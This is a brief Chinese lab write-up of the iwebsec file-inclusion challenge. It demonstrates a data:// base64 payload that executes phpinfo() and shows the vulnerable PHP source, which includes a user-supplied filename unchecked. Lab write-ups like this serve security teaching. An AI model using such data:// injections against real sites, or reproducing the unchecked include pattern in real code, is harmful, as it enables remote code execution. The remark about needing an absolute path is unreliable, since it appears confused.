iwebsec-文件包含 10 data://伪协议利用

发布时间 2023-08-20 13:35:35作者: 别打扰我摸鱼

01、题目分析

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,

直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。

在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞

data://text/plain;base64,使用base64加密代码进行执行

02、文件包含

使用base64加密代码进行执行phpinfo()

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

这个利用方式仅适用于知道绝对路径的文件读取

image

03、源码分析

<?php
	if(isset($_GET['filename'])){ // 检查是否设置了 'filename' 参数
	    $filename  = $_GET['filename']; // 获取 'filename' 参数的值,并赋给 $filename 变量
	    include($filename); // 包含指定的文件内容
	}else{
		exit(); // 如果未设置 'filename' 参数,则退出脚本执行
	}
?>